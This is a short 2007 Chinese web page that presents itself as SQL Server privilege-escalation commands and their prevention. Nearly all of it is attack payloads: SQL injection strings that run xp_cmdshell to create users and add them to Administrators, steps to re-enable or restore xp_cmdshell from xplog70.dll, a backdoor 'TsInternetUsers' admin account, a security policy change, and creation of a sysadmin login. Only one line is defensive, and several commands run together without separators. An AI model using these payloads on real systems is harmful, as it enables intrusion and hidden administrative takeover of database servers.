SQL Server提升权限相关命令及防范

日期:2007-03-04   荐:

;exec master..xp_cmdshell "net user name password /add"--;exec master..xp_cmdshell "net localgroup administrators name /add"--

程序代码开启cmdshell的SQL语句

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

判断存储扩展是否存在select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK

恢复xp_cmdshellExec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'返回结果为1就OK

否则上传xplog7.0.dllExec master.dbo.addextendedproc 'xp_cmdshell','C:/WinNt/System32/xplog70.dll'

堵上cmdshell的SQL语句sp_dropextendedproc "xp_cmdshell"

DOS:dir c:/dir d:/dir e:/

net user TsInternetUsers Password /addnet localGroup Administrators TsInternetUsers /add

备份恢复IPSEC

secedit /export /CFG c:/tmp.infecho sedenynetworklogonright =>>c:/tmp.infsecedit /configure /db c:/windows/secedit.sdb /CFG c:/tmp.inf

SQL:exec master..sp_addlogin UserName,Passwordexec master..sp_addsrvrolemember UserName,sysadmin
